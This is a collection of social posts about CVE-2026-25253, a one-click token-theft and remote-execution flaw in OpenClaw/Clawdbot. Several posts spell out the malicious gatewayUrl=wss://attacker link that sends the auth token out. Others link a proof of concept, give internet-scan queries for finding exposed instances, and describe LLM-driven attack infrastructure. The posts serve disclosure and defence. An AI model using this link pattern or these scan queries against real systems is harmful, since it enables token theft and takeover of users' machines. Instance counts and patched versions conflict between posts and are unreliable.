CVE-2026-25253Disclosure(openclaw / openclaw)

🚨We found RCE in Clawdbot 🚨 If you're using Clawdbot/Moltbot, I can get RCE on your computer just by getting you to click a link.  The coolest part? This vulnerability (CVE-2026-25253) took only 100 minutes to discover, and it was discovered completely autonomously using @Ethiack's AI pentesting solution "Hackian". Here's how it went down 👇 We set Hackian against Clawdbot, purely blackbox. It discovered that the Control UI stores the gateway auth token in localStorage and builds the first WebSocket connect frame from it on load. Hackian discovered that the UI also accepts "gatewayUrl" via query params: /chat?gatewayUrl=wss://attacker. This overrides the saved gateway and auto connects 😏 On first load, the UI immediately opens a WebSocket to the attacker URL and sends the token! Think that's cool? Wait until you see how it upgraded this to a full RCE for local Clawdbot systems. Read the deets 👇 https://ethiack.com/news/blog/one-click-rce-moltbot

OpenClaw Vulnerability! CVE-2026-25253 enables attackers to steal authentication tokens of OpenClaw AI Systems! https://hackers-arise.com/cve-2026-25253-how-malicious-links-can-steal-authentication-tokens-and-compromise-openclaw-ai-systems/ https://t.co/Rey23qKAOZ

Exposed attacker infrastructure combining #Hermes Agent, #CyberStrikeAI, #SliverC2, and multiple LLMs used for automated CVE targeting, exploit validation, Telegram-based orchestration, and post-exploitation validation workflows. Opendir: 142.171.160[.]137:8888 VULN-MONITOR: 142.171.149[.169:8001 - Real-time 1day/0day RCE tracking across 18 sources🤔 CyberStrikeAI Server: 100.81.245[.29:8080 Chain: FOFA/Shodan recon → AI-assisted target filtering → CVE/PoC enrichment → custom scanner & exploit generation → exploit validation → WebSocket/shell access → post-exploitation environment validation → Telegram-pushed operations. Targeted CVEs: CVE-2026-0300 (Palo Alto PAN-OS) CVE-2024-21762 (FortiOS/FortiProxy SSL-VPN) CVE-2026-33017 (Langflow) CVE-2026-21858 (n8n) CVE-2026-3055 (Citrix ADC/NetScaler) CVE-2026-34486 (Apache Tomcat) CVE-2026-25253 (OpenClaw/Moltbot/Clawdbot) @malwrhunterteam @500mk500 @1ZRR4H @MichalKoczwara

OpenClaw Vulnerability! CVE-2026-25253 enables attackers to steal authentication tokens of OpenClaw AI Systems! https://hackers-arise.com/cve-2026-25253-how-malicious-links-can-steal-authentication-tokens-and-compromise-openclaw-ai-systems/ https://t.co/szETjPTd6C

ثغرة جديدة في openclaw ليست الاولى ولن تكون الاخيرة، والسبب التطوير باستخدام vibe coding والسبب جنون الإنتاجية البرمجية.. اسم الثغرة CVE-2026-25253 درجة الخطورة حرجة - critical وصفها one click Remote Code Execution يعني اختراق بضغطة واحده https://t.co/zNz2EXiefk

🚨Alert🚨 CVE-2026-25253 : OpenClaw Bug Enables One-Click Remote Code Execution via Malicious Link 🔥PoC :https://github.com/ethiack/moltbot-1click-rce 🧐Deep Dive :https://depthfirst.com/post/1-click-rce-to-steal-your-moltbot-data-and-keys 📊 16.7K Services are found on the http://hunter.how yearly. 🔗Hunter Link:https://hunter.how/list?searchValue=product.name%3D%22Clawdbot%22 👇Query HUNTER : http://product.name="Clawdbot" 📰Refer:https://github.com/openclaw/openclaw/security/advisories/GHSA-g8p2-7wf7-98mq https://thehackernews.com/2026/02/openclaw-bug-enables-one-click-remote.html #hunterhow #infosec #infosecurity #OSINT #Vulnerability

1-Click RCE To Steal Your OpenClaw Data and Keys (CVE-2026-25253) Blog: https://depthfirst.com/research/1-click-rce-to-steal-your-moltbot-data-and-keys Author: Mav Levin https://t.co/B6ytcng3cE

🚨One-click RCE in OpenClaw If you use Clawdbot/Moltbot, an attacker may be able to achieve remote code execution on your machine by simply tricking you into opening a link. The wild part: this bug (CVE-2026-25253) was found in about 100 minutes, fully autonomously, using Ethiack’s AI pentesting tool, Hackian. Attack Flow 👇 1. The Control UI keeps the gateway auth token in localStorage and, on page load, builds the first WebSocket connection frame from it. 2. The UI also accepts a gatewayUrl query parameter, for example: /chat?gatewayUrl=wss://attacker. 3. That parameter overrides the saved gateway and auto-connects. 4. On initial load, the UI opens a WebSocket to the attacker-controlled endpoint and sends the token. Link for the full research blog in the comments 🔗

OpenClawの凄さと危険性を徹底解説 — CVE-2026-25253・ClawHavoc攻撃から学ぶAIエージェントのセキュリティ https://qiita.com/KM-Eye/items/d2fd3e99f5a1f34d560e #Qiita @Mjinia_ganbarowより

🚨 تحذير أمني: ثغرات خطيرة في OpenClaw! كشف تقرير جديد عن وجود ثغرات أمنية حرجة في وكيل الذكاء الاصطناعي الشهير OpenClaw، تفتح الباب أمام المهاجمين للسيطرة الكاملة على الأجهزة. أبرز المخاطر: 🔓 ثغرة CVE-2026-25253: تسمح بسرقة رموز المصادقة (Tokens) وتنفيذ الأوامر عن بُعد (RCE) بمجرد نقرة واحدة. 📦 تسمم الإضافات: اكتشاف برمجيات خبيثة في 12% من متجر "ClawHub" تتضمن أدوات تسجيل ضربات المفاتيح وسرقة البيانات. 🌐 انكشاف واسع: أكثر من 135 ألف نسخة من OpenClaw مكشوفة علنًا على الإنترنت بإعدادات افتراضية غير آمنة. 💡 نصيحة: إذا كنت تستخدم الأداة، سارع بالتحديث إلى نسخة 2026.2.26 أو أحدث، وتجنب تشغيلها بصلاحيات "جذر" (Root) أو ربطها مباشرة بالإنترنت العام.

💥 One click could completely compromise a @OpenClaw / Moltbot / Clawdbot (CVE-2026-25253) The vulnerability is now fixed, but here's how it worked: - gatewayUrl Parameter: A GET parameter automatically overrides the WebSocket gateway URL used by the Control UI - Token Exfiltration: Visiting a malicious link leaks the victim's auth token to the attacker's server - WebSocket CORS Bypass: No origin validation means attackers can reach localhost through the victim's browser - Instant RCE: Stolen token = full system access via arbitrary commands.

Nobody wants to hear this, but the personal AI agent space has been shipping autonomy-first, security-never for months OpenClaw hit 200K stars while storing API keys and OAuth tokens as plaintext markdown files. Then CVE-2026-25253 dropped - 1-click RCE, 42K+ exposed instances, 1.5M leaked tokens. Andrej Karpathy himself said don't run it The "not letting the LLM touch secrets at all" design in IronClaw isn't some premium feature. It should've been the baseline from day one. WASM sandboxing per tool, credential injection only at network boundaries, leak detection on outbound traffic - this is what responsible agent infra looks like And confidential hosting on NEAR AI Cloud with TEEs closes the last gap. Running agents locally was never really "secure" when your browser could pivot into localhost anyway. Hardware-enforced isolation with cryptographic attestation is the actual answer Timing on this couldn't be better

To clarify OpenClaw patched it fast (update to v2026.2.25+). CVE-2026-25253 Make sure to update your OpenClaw

⚠️⚠️ CVE-2026-25253: New 1-click RCE in OpenClaw allows attackers to steal auth tokens and hijack local gateways via Cross-Site WebSocket Hijacking. 🔗FOFA Link: https://en.fofa.info/result?qbase64=YXBwPSJPcGVuQ2xhdyI%3D 🎯22k+ Results are found on the https://en.fofa.info nearly year. FOFA Query: app="OpenClaw" 🔖Refer: https://thehackernews.com/2026/02/openclaw-bug-enables-one-click-remote.html #OSINT #FOFA #CyberSecurity #Vulnerability

OpenClaw earned its bad rep in Jan-Feb 2026 from rapid launch flaws: CVE-2026-25253 (one-click RCE via malicious site), 500+ vulns in audits, thousands of exposed unauth instances leaking keys, and ~12% malicious ClawHub skills installing malware. Led to warnings, China gov bans. Most fixed fast with patches. Today's v2026.3.13 + NVIDIA engineer triage on advisories shows strong progress—ongoing hardening, sandboxing, DM pairing, built-in security audit. Current state: Solid if you run latest, use `openclaw doctor`/`onboard`, enable sandbox/loopback bind per docs. Viable for general population with basic caution (isolate if possible, vet skills). Inherent agent risks remain, but way safer now. 🦞

#exploit 1⃣. CVE-2026-2441: https://github.com/huseyinstif/CVE-2026-2441-PoC Google Chrome Blink RCE 2⃣. CVE-2026-27896: https://dev.to/cverports/cve-2026-27896-case-insensitive-chaos-bypassing-security-controls-in-mcp-go-sdk-jag Bypassing Security Controls in MCP Go SDK 3⃣. CVE-2026-20841: https://github.com/tangent65536/CVE-2026-20841 Windows Notepad RCE 4⃣. CVE-2026-20817: https://github.com/oxfemale/CVE-2026-20817 Windows Error Reporting ALPC Privilege Escalation 5⃣. CVE-2026-25253: https://github.com/ethiack/moltbot-1click-rce Clawdbot/Moltbot/OpenClaw One-click RCE

🚨 CVE-2026-25253: Tracking 17,500 Exposed OpenClaw Instances on the Public Internet Our research team recently analyzed internet-exposed browser automation frameworks affected by #CVE202625253, including #OpenClaw, #Clawdbot, and #Moltbot. What we found points to a broad and measurable exposure pattern. Key observations from the analysis: - More than 17,500 exposed instances vulnerable to CVE-2026-25253 were identified. - The /api/export-auth endpoint allows unauthenticated access to stored API tokens. - Clawdbot Control represents 68.9% of observed deployments, followed by Moltbot (22.3%) and OpenClaw (8.8%). - Exposures span 52 countries, with the highest concentration in the United States and China. - 98.6% of instances are hosted on cloud or hosting infrastructure, led by DigitalOcean, Alibaba Cloud, and Tencent. The full write-up breaks down how these instances were identified at scale, including the infrastructure patterns we observed and the detection techniques used throughout the investigation. 👉 Read the full analysis here: https://hunt.io/blog/cve-2026-25253-openclaw-ai-agent-exposure

After this month's agent security disasters: - 1-click RCE (CVE-2026-25253) - 824+ malicious ClawHub skills - Meta AI Director's inbox deleted - $250K Lobstar Wilde blunder - 40K+ exposed instances What's the #1 priority for agent infrastructure? Identity (on-chain, unforgeable) Validation (verify skills before install) Reputation (score agent trustworthiness) Decentralization (no central DB to breach)

Trending on X now. Scan OpenClaw with Coyote 🐺 This week we added support for one of the newest vulnerabilities, CVE-2026-25253. Continuing to monitor and adds scans for new vulnerabilities in OpenClaw as they are reported. https://t.co/D3QzSZbnUV

🚨 CVE-2026-25253 (CVSS 8.8): OpenClaw Logical Flaw OpenClaw (aka clawdbot or Moltbot) before 2026.1.29 obtains a gatewayUrl value from a query string and automatically makes a WebSocket connection without prompting, sending a token value. Search by vul.cve Filter 👉 vul.cve="CVE-2026-25253" ZoomEye Dork 👉 app=OpenClaw 20k+ exposed instances. ZoomEye Link: https://www.zoomeye.ai/searchResult?q=dnVsLmN2ZT0iQ1ZFLTIwMjYtMjUyNTMi&utm_source=twitter&utm_medium=social&utm_campaign=cve_ops_20260204 Refer: https://depthfirst.com/post/1-click-rce-to-steal-your-moltbot-data-and-keys #ZoomEye #NetSec #OSINT #CyberSecurity #OpenClaw #VulnerabilityResearch #ThreatIntel #ZeroDay